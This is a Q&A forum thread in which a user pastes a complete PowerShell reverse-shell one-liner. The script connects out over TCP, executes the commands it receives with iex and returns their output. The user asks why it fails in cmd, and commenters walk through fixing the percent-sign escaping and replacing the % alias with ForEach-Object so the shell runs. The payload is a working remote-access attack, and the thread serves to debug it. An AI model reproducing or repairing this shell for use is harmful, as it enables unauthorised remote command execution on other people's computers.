0
I run this code on cmd on win 10
powershell.exe -Command "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
but i get this error
%% : The term '%%' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At line:1 char:127 + ... 3);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};whil ... + ~~ + CategoryInfo : ObjectNotFound: (%%:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException
Exception calling "Read" with "3" argument(s): "Value cannot be null. Parameter name: buffer" At line:1 char:140 + ... 5535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : ArgumentNullException Any ideas why It says that? I saw some tutorials and it works good on them
Not entirely sure, but %% can be interpreted as % on commandline and I think that's the problem. – LPChip – 2018-12-26T21:23:43.450
So I replace %% with %? – Born vs. Me – 2018-12-26T21:24:26.533
1Or try %%%%. Because then it are 2 % signs being parsed. Also, you did not actually include the error. – LPChip – 2018-12-26T21:25:31.237
I forgot, now i Included – Born vs. Me – 2018-12-26T21:28:45.153
https://www.robvanderwoude.com/escapechars.php < this one has the answer. To escape one %, you write %%. So it should be %%%%. – LPChip – 2018-12-26T21:46:07.767
It doesnt work with %%%% either puts another errr – Born vs. Me – 2018-12-26T21:58:47.580
In batch files, the percent sign may be "escaped" by using a double percent sign (
%%
). Fromcmd
prompt, leave the only%
. I'd use full cmdlet nameForEach-Object
instead of the%
alias as an universal rule. – JosefZ – 2018-12-26T22:08:49.220How? I dont understand – Born vs. Me – 2018-12-26T22:51:15.520
1Born vs. Me - JosefZ stated basically to use
[byte[]]$bytes = 0..65535|ForEach-Object{0};
just like that for that part of the logic and stop using the%
sign character entirely to ensure that you are not having an issue with that. It will iterate the 65000+ zeros for you either way. – Pimp Juice IT – 2018-12-27T00:30:44.017